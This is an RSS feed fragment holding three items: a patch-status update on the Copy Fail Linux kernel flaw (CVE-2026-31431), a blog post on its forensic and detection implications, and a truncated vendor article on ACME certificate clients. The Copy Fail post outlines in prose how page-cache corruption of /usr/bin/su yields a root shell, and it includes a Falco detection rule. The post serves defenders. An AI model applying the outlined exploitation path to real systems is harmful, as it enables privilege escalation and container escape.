&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;UPDATE (May 4, 2026, 09:25 a.m. ET):&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;CISA has &lt;a href=&quot;https://www.cisa.gov/news-events/alerts/2026/05/01/cisa-adds-one-known-exploited-vulnerability-catalog&quot;&gt;added&lt;/a&gt; Copy Fail to its Known Exploited Vulnerabilities catalog and ordered US federal civilian agencies to address it by May 15, 2026.&lt;/p&gt;&lt;p&gt;Patches are available for &lt;a href=&quot;https://security-tracker.debian.org/tracker/CVE-2026-31431&quot;&gt;Debian&lt;/a&gt;, &lt;a href=&quot;https://ubuntu.com/blog/copy-fail-vulnerability-fixes-available&quot;&gt;Ubuntu&lt;/a&gt;, &lt;a href=&quot;https://almalinux.org/blog/2026-05-01-cve-2026-31431-copy-fail/&quot;&gt;AlmaLinux&lt;/a&gt;, &lt;a href=&quot;https://www.suse.com/c/suse-responds-to-the-copy-fail-vulnerability/&quot;&gt;SUSE&lt;/a&gt;, &lt;a href=&quot;https://discussion.fedoraproject.org/t/status-of-cve-2026-31431-copyfail-response/190037/3&quot;&gt;Fedora&lt;/a&gt; and &lt;a href=&quot;https://blog.cloudlinux.com/cve-2026-31431-copy-fail-kernel-update&quot;&gt;CloudLinux&lt;/a&gt; users, while RHEL users are &lt;a href=&quot;https://access.redhat.com/security/vulnerabilities/RHSB-2026-02&quot;&gt;still waiting&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://img2.helpnetsecurity.com/posts2024/devider.webp&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Subscribe to our breaking news e-mail alert to never miss out on the latest breaches, vulnerabilities and cybersecurity threats. &lt;a href=&quot;https://www.helpnetsecurity.com/newsletter/&quot;&gt;Subscribe here!&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://img2.helpnetsecurity.com/posts2024/devider.webp&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;div&gt;
&lt;/div&gt;</content:encoded>
</item>
<item>
<title>Copy Fail and the forensic blind spot hiding in Linux memory | Andrea Fortuna</title>
<link>https://andreafortuna.org/2026/05/02/copy-fail-cve-2026-31431/</link>
<enclosure type="image/jpeg" length="0" url="https://andreafortuna.org/assets/2026/copy-fail-cover.jpg"></enclosure>
<guid isPermaLink="false">C5ccZLSAxgZ1tDC9lBHCDmMnU8Gxf5Zn63z4dA==</guid>
<pubDate>Thu, 14 May 2026 03:13:18 +0000</pubDate>
<description>CVE-2026-31431 ‘Copy Fail’ is more than yet another Linux LPE. It is a stress test for how we design logging, detection, and forensics on modern Linux systems, containers, and cloud environments.</description>
<content:encoded>&lt;p&gt;There is already a long queue of articles explaining how Copy Fail works, what kernel version you need to patch to, and what the Python PoC does step by step. This is not one of those articles. CVE-2026-31431 is genuinely interesting for a different reason: it is one of the cleanest examples in recent memory of a vulnerability that specifically defeats classic forensic and detection assumptions, not through obfuscation or stealth code, but through a fundamental property of how the Linux kernel manages memory. Understanding that is more useful, and more lasting, than memorising the exploit primitives.&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://andreafortuna.org/assets/2026/copy-fail-cover.jpg&quot; alt=&quot;cover&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;h2&gt;A nine-year-old optimization, quietly gone wrong&lt;/h2&gt;&lt;p&gt;The story starts in 2017, when commit &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;72548b093ee3&lt;/code&gt; introduced an in-place optimization to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;algif_aead.c&lt;/code&gt;, the component of the Linux kernel’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AF_ALG&lt;/code&gt; socket interface that exposes AEAD cipher operations to userspace. The intent was a minor performance improvement: instead of copying data, the kernel would process it in-place by setting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;req-&amp;gt;src = req-&amp;gt;dst&lt;/code&gt; and chaining the tag pages from the source scatterlist into the output scatterlist via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sg_chain()&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;The problem is subtle enough that it survived unnoticed for almost nine years. When userspace feeds data to the socket through &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;splice()&lt;/code&gt;, the tag pages reference the page cache of the spliced file directly. The &lt;a href=&quot;https://copy.fail/&quot;&gt;authencesn(hmac(sha256),cbc(aes))&lt;/a&gt; implementation then writes four bytes at offset &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;assoclen + cryptlen&lt;/code&gt; as scratch space for Extended Sequence Number rearrangement, and because the output scatterlist now extends into those chained page cache pages, that write lands inside the cached data of the spliced file, bypassing all permission checks. The HMAC verification fails, returning &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-EBADMSG&lt;/code&gt; as expected, but the page cache corruption has already happened. A failing decrypt still corrupts the page.&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://andreafortuna.org/assets/2026/copy-fail-info.jpg&quot; alt=&quot;info&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;The fix, included in kernel 7.0, 6.19.12, and 6.18.22, is almost comically simple: revert to out-of-place operation in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;algif_aead&lt;/code&gt;, removing essentially all the complexity introduced in 2017. The &lt;a href=&quot;https://www.openwall.com/lists/oss-security/2026/04/29/23&quot;&gt;Openwall oss-security disclosure&lt;/a&gt; provides the full technical details and kernel patch links. There is no benefit in operating in-place in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;algif_aead&lt;/code&gt; since the source and destination come from different mappings, as the fix commit message notes without ceremony.&lt;/p&gt;&lt;h2&gt;The DFIR angle nobody is writing about: when the disk is clean but memory lies&lt;/h2&gt;&lt;p&gt;Here is where Copy Fail becomes interesting for an investigator. The exploitation path is: bind an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AF_ALG&lt;/code&gt; socket to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;authencesn(hmac(sha256),cbc(aes))&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;splice()&lt;/code&gt; the page cache pages of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/usr/bin/su&lt;/code&gt; into the crypto pipeline, then issue a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;recvmsg()&lt;/code&gt; whose AAD bytes supply the four-byte value the authencesn scratch write will deposit into the target page. Repeat at successive offsets to stage shellcode into the cached pages of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/usr/bin/su&lt;/code&gt;. Run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;su&lt;/code&gt;. Get a root shell.&lt;/p&gt;&lt;p&gt;The key detail: the file on disk is never touched. The corruption affects only the in-memory page cache, which is what the kernel actually uses when executing a binary. A traditional file-integrity monitor that checks SHA-256 hashes of files on disk sees nothing. An IDS that watches for writes to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/usr/bin/su&lt;/code&gt; sees nothing. The audit trail for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;su&lt;/code&gt; execution looks like a normal privilege transition. The attacker leaves the disk in a state that would pass any post-incident verification based on static analysis of storage.&lt;/p&gt;&lt;p&gt;This is not entirely new territory. If you have been following the evolution of forensic anti-patterns on Linux, you have seen similar surprises before: the Windows 11 PCA artifact quietly recording execution evidence where analysts were not looking, iOS metadata recording data users assumed was not there, wiper malware targeting filesystem structures beyond the MBR that classic recovery procedures did not cover. Copy Fail belongs to the same family of cases where the evidence, or the absence of it, is not where the analyst expects. &lt;a href=&quot;https://www.helpnetsecurity.com/2026/04/30/copyfail-linux-lpe-vulnerability-cve-2026-31431/&quot;&gt;HelpNet Security&lt;/a&gt; has published detailed coverage of the vulnerability and its implications for the security community.&lt;/p&gt;&lt;p&gt;The comparison to Dirty Pipe (CVE-2022-0847) is instructive in the other direction. Dirty Pipe required precise pipe buffer manipulation, version-specific targeting, and had timing windows. Copy Fail is a straight-line logic flaw: no races, no timing, just four syscalls (socket, setsockopt, splice, sendmsg, recvmsg) repeated until the target binary is patched in cache. The PoC is around 700 bytes of Python and produces reliable results on Ubuntu 24.04, Amazon Linux 2023, RHEL 10.1, and SUSE 16, all default configurations.&lt;/p&gt;&lt;h2&gt;From host to cluster: why “local” LPE is the wrong mental model for cloud environments&lt;/h2&gt;&lt;p&gt;The standard framing of a local privilege escalation is: attacker already has a shell, attacker elevates to root. The implicit assumption is that you are reasoning about a single, bounded host. That assumption breaks down almost everywhere in modern infrastructure.&lt;/p&gt;&lt;p&gt;In a Kubernetes environment, the page cache is shared between the host and containers running on the same node. A workload running inside a container as an unprivileged user can use Copy Fail to corrupt the page cache of a setuid binary on the host, then execute that binary, obtain a root shell, and break out of the container entirely. The container boundary, which is logical rather than hardware-enforced, provides no protection here. &lt;a href=&quot;https://blog.ovhcloud.com/copy-fail-cve-2026-31431-how-to-rapidly-protect-ovhcloud-mks-clusters-from-the-linux-kernel-zero-day/&quot;&gt;OVHcloud&lt;/a&gt;, which published a detailed response covering their managed Kubernetes service, confirmed that unpatched nodes in multi-tenant clusters are fully exposed regardless of pod security policies or runtime restrictions.&lt;/p&gt;&lt;p&gt;This is a recurring pattern worth internalising. Every time an LPE affects the Linux kernel rather than userspace alone, the blast radius in cloud environments is systematically wider than the “local user” label suggests. An initial foothold through a web application vulnerability, a misconfigured CI/CD runner exposed to the internet, or a compromised dependency in a pipeline can be all that is needed to turn Copy Fail into a full node compromise, followed by lateral movement across whatever other workloads that node is running.&lt;/p&gt;&lt;p&gt;The affected kernel range, 4.14 through 7.0-rc, covers essentially every Linux system deployed since late 2017, including all the long-term stable branches that enterprise distributions continue to maintain: 6.12.x, 6.6.x, 5.15.x, and 5.10.x all carry the vulnerable backport. &lt;a href=&quot;https://www.tenable.com/blog/copy-fail-cve-2026-31431-frequently-asked-questions-about-linux-kernel-privilege-escalation&quot;&gt;Tenable&lt;/a&gt; has published a comprehensive FAQ covering the technical details, affected versions, and remediation guidance.&lt;/p&gt;&lt;h2&gt;Detection engineering: what you can actually see&lt;/h2&gt;&lt;p&gt;Patch first. But on the realistic assumption that patching takes time, particularly across large fleets, distributed infrastructure, and embedded systems where kernel updates require maintenance windows, detection becomes the practical compensating control.&lt;/p&gt;&lt;p&gt;The good news is that Copy Fail is unusually detectable at the syscall level, precisely because the attack path requires creating an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AF_ALG&lt;/code&gt; socket with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SOCK_SEQPACKET&lt;/code&gt; type. This is not a common operation. The set of legitimate processes that need &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AF_ALG&lt;/code&gt; AEAD sockets is small and predictable: &lt;a href=&quot;https://gitlab.com/cryptsetup/cryptsetup&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cryptsetup&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;https://gitlab.com/cryptsetup/cryptsetup&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;veritysetup&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;https://gitlab.com/cryptsetup/cryptsetup&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;integritysetup&lt;/code&gt;&lt;/a&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;systemd-cryptsetup&lt;/code&gt;, and a handful of &lt;a href=&quot;https://github.com/smuellerDD/libkcapi&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kcapi&lt;/code&gt;&lt;/a&gt; utilities. Everything else creating this socket type is anomalous.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.sysdig.com/blog/cve-2026-31431-copy-fail-linux-kernel-flaw-lets-local-users-gain-root-in-seconds&quot;&gt;Sysdig’s threat research team&lt;/a&gt; has published a Falco rule that operationalises exactly this detection. The rule fires on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AF_ALG SEQPACKET&lt;/code&gt; socket creation from any process outside the known disk-encryption toolchain. The rule is precise enough to be production-useful without massive false-positive tuning, although environments running kernel TLS (kTLS) will need to audit their workloads first, since kTLS also uses &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AF_ALG&lt;/code&gt; sockets.&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;- rule: Unexpected Process Using Kernel AEAD Crypto Socket
  desc: &amp;gt;
    Detects creation of an AF_ALG SEQPACKET socket from a process outside the
    known disk-encryption toolchain. Mandatory first step of CVE-2026-31431.
  condition: &amp;gt;
    successful_af_alg_seqpacket_socket and
    not proc.name in (known_af_alg_binaries)
  priority: CRITICAL
  tags: [host, container, kernel, CVE-2026-31431,
         MITRE_TA0004_privilege_escalation,
         MITRE_T1068_exploitation_for_privilege_escalation]&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;a href=&quot;https://www.reversinglabs.com/blog/copy-fail-5-yara-rules&quot;&gt;ReversingLabs&lt;/a&gt; has additionally published five YARA rules covering file-based and memory-based detection of the Python PoC and its variants, which are useful for threat hunting across images, repositories, and dropped files. These two layers complement each other: the Falco rule catches exploitation at runtime; the YARA rules catch the exploit script before or during staging.&lt;/p&gt;&lt;p&gt;If you are running a &lt;a href=&quot;https://andreafortuna.org/2026/02/05/24-7-soc/&quot;&gt;24/7 SOC for a small team&lt;/a&gt;, the operational priority is straightforward. The Falco rule should go in as a high-priority alert with minimal tuning friction. The YARA rules are better used in a &lt;a href=&quot;https://andreafortuna.org/2026/04/22/threat-hunting-yara-x/&quot;&gt;scheduled threat hunting pass&lt;/a&gt; over your artefact stores and pipeline caches rather than as real-time alerts, which would be noisy and slow.&lt;/p&gt;&lt;h2&gt;The deeper forensic problem: audit log design for kernel-level attacks&lt;/h2&gt;&lt;p&gt;Copy Fail exposes a gap that goes beyond this specific vulnerability. When an attacker exploits a kernel primitive to modify in-memory state without touching disk, the investigator’s ability to reconstruct what happened depends entirely on whether the right syscall-level events were captured at the time of exploitation. If the answer is no, the page cache modification is effectively invisible after the fact, especially on systems where memory is not preserved between reboot and investigation.&lt;/p&gt;&lt;p&gt;This connects directly to a principle that deserves more attention in &lt;a href=&quot;https://andreafortuna.org/2026/01/19/ir-hidden-slowdown/&quot;&gt;DFIR readiness discussions&lt;/a&gt;: logging and telemetry need to be designed with forensic use in mind, not only with operational monitoring in mind. A SIEM that ingests only application-level logs, authentication events, and network flows will see the output of a Copy Fail exploitation (an unexpected root shell, unusual process relationships) but not the cause. An audit setup that captures &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;socket&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;splice&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sendmsg&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;recvmsg&lt;/code&gt; syscalls with process context will see both. The difference is architectural, and it needs to be decided before the incident, not during.&lt;/p&gt;&lt;p&gt;Auditd rules targeting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AF_ALG&lt;/code&gt; socket creation are trivial to write and impose minimal overhead. BPF-based monitoring frameworks such as &lt;a href=&quot;https://cilium.io/tetragon/&quot;&gt;Cilium Tetragon&lt;/a&gt; can capture this at even finer granularity, correlating scatterlist operations with the file pages they target. Neither approach helps retroactively. Both help the next time.&lt;/p&gt;&lt;h2&gt;An eight-year-old lesson about performance and security&lt;/h2&gt;&lt;p&gt;The root cause of Copy Fail is not a complex algorithmic error or a subtle interaction between subsystems. It is a performance optimisation applied to a security-sensitive component without sufficiently tracing its downstream effects on memory ownership. The 2017 commit worked correctly for the AEAD algorithms that were common at the time. The authencesn path, which uses a two-stage in-place write with Extended Sequence Number rearrangement, created a condition that was not anticipated.&lt;/p&gt;&lt;p&gt;This is not an unusual failure mode. Performance optimisations in low-level kernel code often have effects that are difficult to reason about fully at the time of writing, and they accumulate over kernel versions as new code paths interact with them in ways the original author did not anticipate. The same dynamic that produced Copy Fail produced Dirty Pipe in 2022, Dirty COW in 2016, and a range of other kernel vulnerabilities that traced back to optimisations rather than to classic memory safety errors.&lt;/p&gt;&lt;p&gt;The practical implication is not that kernel optimisations are bad, but that security analysis of performance-sensitive code paths needs to explicitly model what happens when memory ownership boundaries are crossed unexpectedly. For engineers working with kernel crypto APIs, the lesson is specific: in-place operations in crypto code paths that interact with splice and page cache are structurally dangerous, because splice brings file-backed pages into the kernel’s processing pipeline without the ownership transfer that would normally accompany such an operation.&lt;/p&gt;&lt;p&gt;For everyone else, Copy Fail is a useful reminder that &lt;a href=&quot;https://andreafortuna.org/2026/04/30/beyond-backup-operational-resilience-dora/&quot;&gt;operational resilience&lt;/a&gt; is not only about backup and recovery. It is about building systems where the evidence necessary to detect, investigate, and respond to exploitation exists by design, and where a single unpatched node in a shared environment cannot silently become the entry point for a full cluster compromise.&lt;/p&gt;</content:encoded>
</item>
<item>
<title>ACME Clients on Linux for Easy SSL/TLS Management</title>
<link>https://www.encryptionconsulting.com/acme-clients-linux-ssl-tls-management/</link>
<guid isPermaLink="false">6IySvkvZR-QvtWN48Fz_sEFZ-2Z8sJNb7SPKrw==</guid>
<pubDate>Wed, 13 May 2026 21:35:10 +0000</pubDate>
<description>Every time you visit a website and see that padlock in the browser bar, an SSL/TLS certificate is quietly doing its job, authenticating the server and encrypting your connection so passwords, payment details, and personal data stay private. Take that certificate away, and the connection falls back to plain HTTP, where anyone on the sameContinue reading &quot;ACME Clients on Linux for Easy SSL/TLS Management&quot;</description>
<content:encoded>&lt;p&gt;Every time you visit a website and see that padlock in the browser bar, an &lt;a href=&quot;https://www.encryptionconsulting.com/all-about-ssl-tls-certificates/&quot;&gt;SSL/TLS certificate&lt;/a&gt; is quietly doing its job, authenticating the server and encrypting your connection so passwords, payment details, and personal data stay private. Take that certificate away, and the connection falls back to plain HTTP, where anyone on the same network can read your traffic in cleartext.&lt;/p&gt;&lt;p&gt;For years, getting and maintaining those certificates was a genuinely painful process. Administrators had to generate &lt;a href=&quot;https://www.encryptionconsulting.com/education-center/what-is-cryptography/&quot;&gt;cryptographic keys&lt;/a&gt;, file a Certificate Signing Request with a &lt;a href=&quot;https://www.encryptionconsulting.com/education-center/what-is-a-certificate-authority/&quot;&gt;Certificate Authority&lt;/a&gt;, prove they owned the domain, download the signed certificate, configure it on the server, and then remember to do the whole thing again before it expired.&lt;/p&gt;&lt;p&gt;Miss that deadline, and browsers begin displaying certificate error warnings. Services break, and users leave.&lt;/p&gt;&lt;p&gt;ACME, the &lt;a href=&quot;https://www.encryptionconsulting.com/education-center/what-is-acme-protocol/&quot;&gt;Automatic Certificate Management Environment&lt;/a&gt; protocol, was built to fix exactly that. Instead of a person requesting and renewing certificates, a lightweight software agent on the server handles the entire process automatically, communicating directly with the CA without any human involvement.&lt;/p&gt;&lt;p&gt;Run that agent at scale across dozens or hundreds of Linux servers, and a new set of problems emerges: no central visibility, inconsistent configurations, and no early warning when something goes wrong. That is where CertSecure Manager fits in, adding the governance layer that individual ACME clients were never designed to provide.&lt;/p&gt;&lt;p&gt;In this blog, we will walk through what SSL/TLS certificates are, why they expire, how the ACME protocol works, which Linux clients to choose, and what it takes to manage &lt;a href=&quot;https://www.encryptionconsulting.com/white-papers/certificate-automation-for-multi-cloud-based-ca/&quot;&gt;certificate automation&lt;/a&gt; at enterprise scale.&lt;/p&gt;&lt;h2&gt;What Are SSL/TLS Certificates&lt;/h2&gt;&lt;p&gt;Think of an &lt;a href=&quot;https://www.encryptionconsulting.com/education-center/what-are-digital-certificates/&quot;&gt;SSL/TLS certificate&lt;/a&gt; as a verified identity badge for a website, issued by a trusted third party. It does two things: it encrypts the traffic between a visitor’s browser and the server, and it proves the server is who it claims to be.&lt;/p&gt;&lt;p&gt;The cryptographic mechanism behind this relies on a key pair, a public key that anyone can use to encrypt data sent to the server, and a private key that only the server holds and uses to decrypt it. Even if someone intercepts the traffic in transit, they cannot read it without that private key.&lt;/p&gt;&lt;h3&gt;Who Issues SSL/TLS Certificates&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.encryptionconsulting.com/certificate-authority-and-hierarchy/&quot;&gt;Certificate Authorities (CAs)&lt;/a&gt; are the organizations that browsers and operating systems already trust to vouch for websites. Well-known public CAs include Let’s Encrypt, DigiCert, and GlobalSign, among others.&lt;/p&gt;&lt;p&gt;Enterprises often run their own private CAs using Microsoft Active Directory Certificate Services or open-source alternatives. Before issuing any certificate, the CA must verify that the requester actually controls the domain in question. Once that check passes, the CA digitally signs the certificate, and every browser that trusts that CA will automatically trust the site.&lt;/p&gt;&lt;h3&gt;Why Do Certificates Expire&lt;/h3&gt;&lt;p&gt;Certificates are not permanent by design. Short validity periods limit the damage a stolen private key can cause, force regular checks that the domain remains under the same ownership, and ensure that outdated cryptographic standards are cycled out.&lt;/p&gt;&lt;p&gt;The CA/Browser Forum has mandated progressively shorter validity periods: 200-day certificates (effective March 2026), 100-day certificates by 2027, and 47-day certificates by 2029. As renewals become more frequent, manual processes become completely unsustainable, which is precisely why ACME exists.&lt;/p&gt;&lt;h2&gt;The Traditional Problem with Certificate Management&lt;/h2&gt;&lt;p&gt;Before automation arrived, renewing a certificate meant generating a &lt;a href=&quot;https://www.encryptionconsulting.com/education-center/csr/&quot;&gt;Certificate Signing Request&lt;/a&gt;, submitting it to a CA, completing domain validation manually, downloading the signed file, deploying it to the right server, and updating the web server configuration, all tracked against a deadline that most teams managed in a shared spreadsheet or, worse, from memory.&lt;/p&gt;&lt;p&gt;For a single website, this was manageable. For an organization running fifty servers across three environments, it was a disaster waiting to happen. Missed renewals caused real outages, and those outages were often the first sign that anyone remembered a certificate was about to expire. The complexity of that process is what drove the creation of ACME. You can read more about the risks of &lt;a href=&quot;https://www.encryptionconsulting.com/understanding-common-ssl-misconfigurations-and-how-to-prevent-them/&quot;&gt;common SSL misconfigurations&lt;/a&gt; and how they create real security exposure.&lt;/p&gt;&lt;h2&gt;What Is ACME and Why Was It Created&lt;/h2&gt;&lt;p&gt;ACME (&lt;a href=&quot;https://www.encryptionconsulting.com/demystifying-acme-protocol/&quot;&gt;Automatic Certificate Management Environment&lt;/a&gt;) is an open standard, published as &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc8555&quot;&gt;RFC 8555&lt;/a&gt;, that defines how a server can prove it controls a domain and request a certificate from a CA entirely without human involvement.&lt;/p&gt;&lt;p&gt;The server runs an ACME client, the client completes a cryptographic challenge set by the CA, and once the CA is satisfied, it issues the certificate and sends it back. The same process handles renewals automatically. Today, ACME is supported by dozens of CAs and has become the de facto standard for certificate automation across Linux environments worldwide.&lt;/p&gt;&lt;p&gt;ACME became widely adopted largely because of &lt;strong&gt;Let’s Encrypt&lt;/strong&gt;, the &lt;a href=&quot;https://www.encryptionconsulting.com/free-digital-certificates/&quot;&gt;free&lt;/a&gt; public CA launched by the Internet Security Research Group. Let’s Encrypt made the case that HTTPS should be free and automatic, and it used ACME as the mechanism to deliver that.&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;p&gt;Certificate Management&lt;/p&gt;&lt;p&gt;Prevent certificate outages, streamline IT operations, and achieve agility with our certificate management solution.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://www.encryptionconsulting.com/certificate-management-solution-certsecure-manager/&quot;&gt;Book a Demo&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2&gt;How ACME Clients on Linux Implement Certificate Automation&lt;/h2&gt;&lt;p&gt;The ACME protocol defines the rules, but it is the ACME client, software running directly on the Linux server, that executes them, handling certificate requests, domain validation, installation, and renewal.&lt;/p&gt;&lt;p&gt;Linux is a natural fit for this kind of automation. Its command-line tooling, cron scheduling, and native integration with web servers like Apache and &lt;a href=&quot;https://www.encryptionconsulting.com/automating-certificate-renewal-for-nginx-using-certsecure-manager/&quot;&gt;Nginx&lt;/a&gt; mean ACME clients can slot into existing infrastructure with minimal configuration. In most cases, the client can also update the web server configuration itself when a new certificate is issued, making the whole process hands-free.&lt;/p&gt;&lt;h3&gt;How ACME Clients Handle Renewal Automatically&lt;/h3&gt;&lt;p&gt;ACME clients on Linux typically run as scheduled background tasks, checking certificate expiry at regular intervals. When a certificate crosses the renewal threshold (usually 30 days before expiry for Let’s Encrypt certificates), the client contacts the CA, completes the domain validation challenge, receives the renewed certificate, replaces the old files, and signals the web server to reload.&lt;/p&gt;&lt;p&gt;The whole process takes seconds and happens without any administrator action. This is why teams that have moved to ACME-based automation rarely think about certificate renewals anymore, until something breaks the automation, which brings us to why &lt;a href=&quot;https://www.youtube.com/watch?v=xOzntiRyn74&quot;&gt;monitoring&lt;/a&gt; still matters.&lt;/p&gt;&lt;h2&gt;Where SSL/TLS Certificates Are Stored on Linux&lt;/h2&gt;&lt;p&gt;Each ACME client follows its own directory conventions. Certbot stores live certificates under &lt;code&gt;/etc/letsencrypt/live/&amp;lt;domain&amp;gt;/&lt;/code&gt;, with four standard files: &lt;code&gt;cert.pem&lt;/code&gt; (the leaf certificate), &lt;code&gt;privkey.pem&lt;/code&gt; (the private key), &lt;code&gt;chain.pem&lt;/code&gt; (the intermediate CA certificate), and &lt;code&gt;fullchain.pem&lt;/code&gt; (the leaf plus the full chain).&lt;/p&gt;&lt;p&gt;Historical and versioned copies sit in &lt;code&gt;/etc/letsencrypt/archive/&amp;lt;domain&amp;gt;/&lt;/code&gt;. acme.sh defaults to ~/.acme.sh/&amp;lt;domain&amp;gt;/. Most production deployments, however, relocate certificates to system directories like /etc/ssl/ or /var/lib/acme/ for cleaner permission management. When a certificate is renewed, both tools update the files in place, so that applications referencing those paths continue to work without any configuration changes.&lt;/p&gt;&lt;h2&gt;ACME Validation Methods on Linux&lt;/h2&gt;&lt;p&gt;Before a CA can issue a certificate, it needs proof that you actually control the domain. ACME standardizes that proof process into three distinct challenge types, each suited to different environments.&lt;/p&gt;&lt;h3&gt;HTTP-01 Validation&lt;/h3&gt;&lt;p&gt;The ACME client places a small token file at a well-known URL on the web server. The CA fetches that URL over HTTP to confirm the file is there, then grants domain control.&lt;/p&gt;&lt;p&gt;This is the most common method and works out of the box with Apache and Nginx on any publicly accessible server. The only limitation is that it requires the server to be reachable on port 80, which rules it out for internal services and wildcard certificates.&lt;/p&gt;&lt;h3&gt;DNS-01 Validation&lt;/h3&gt;&lt;p&gt;Instead of a file on the web server, the ACME client creates a &lt;code&gt;_acme-challenge&lt;/code&gt; TXT record in the domain’s DNS zone. The CA checks that record to confirm domain ownership.&lt;/p&gt;&lt;p&gt;DNS-01 is the method to use for wildcard certificates, for servers behind a firewall, and for any service that is not directly reachable over HTTP. The trade-off is that it requires either API access to your DNS provider or a manual DNS update.&lt;/p&gt;&lt;h3&gt;TLS-ALPN-01 Validation&lt;/h3&gt;&lt;p&gt;TLS-ALPN-01 performs the validation handshake directly over TLS on port 443, using a special ALPN extension. It is less commonly deployed than the other two methods but is useful in environments where HTTP is blocked entirely and DNS API access is unavailable. &lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;p&gt;Certificate Management&lt;/p&gt;&lt;p&gt;Prevent certificate outages, streamline IT operations, and achieve agility with our certificate management solution.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://www.encryptionconsulting.com/certificate-management-solution-certsecure-manager/&quot;&gt;Book a Demo&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2&gt;Popular ACME Clients on Linux and Their Differences&lt;/h2&gt;&lt;p&gt;Several mature ACME clients are available for Linux, and the right choice depends on your environment.&lt;/p&gt;&lt;p&gt;Certbot, maintained by the Electronic Frontier Foundation, is the most widely deployed option. It integrates directly with Apache and Nginx, handles certificate installation and web server reload automatically, and is the path of least resistance for anyone managing a traditional Linux web server.&lt;/p&gt;&lt;p&gt;If you are running a public-facing website and just need certificates to work, Certbot is the right starting point.&lt;/p&gt;&lt;p&gt;acme.sh takes a different approach. Written entirely in POSIX shell, it runs on any Linux distribution with no extra dependencies whatsoever.&lt;/p&gt;&lt;p&gt;It supports a much wider range of DNS providers than Certbot, integrates naturally with Ansible, Docker, and other automation tooling, and gives operators more granular control over certificate storage and deployment hooks. It is the preferred choice for scripted environments, internal services, and cloud-native workloads.&lt;/p&gt;&lt;p&gt;Lego is a Go-based client built for dynamic infrastructure. It is commonly embedded in container orchestration pipelines and CI/CD systems where certificates need to be requested and renewed on demand as services spin up and down.&lt;/p&gt;&lt;p&gt;Some platforms, including certain Kubernetes ingress controllers and load balancers, also ship with built-in ACME support, which can simplify initial setup but typically offers less visibility and control than a dedicated client.&lt;/p&gt;&lt;h2&gt;Certbot vs acme.sh on Linux: A Practical Comparison&lt;/h2&gt;&lt;p&gt;Both Certbot and acme.sh implement ACMEv2, support wildcard certificates, and automate the full certificate lifecycle. Where they differ is in philosophy and fit.&lt;/p&gt;&lt;figure&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Feature&lt;/th&gt;&lt;th&gt;Certbot&lt;/th&gt;&lt;th&gt;acme.sh&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Implementation&lt;/td&gt;&lt;td&gt;Python-based&lt;/td&gt;&lt;td&gt;POSIX 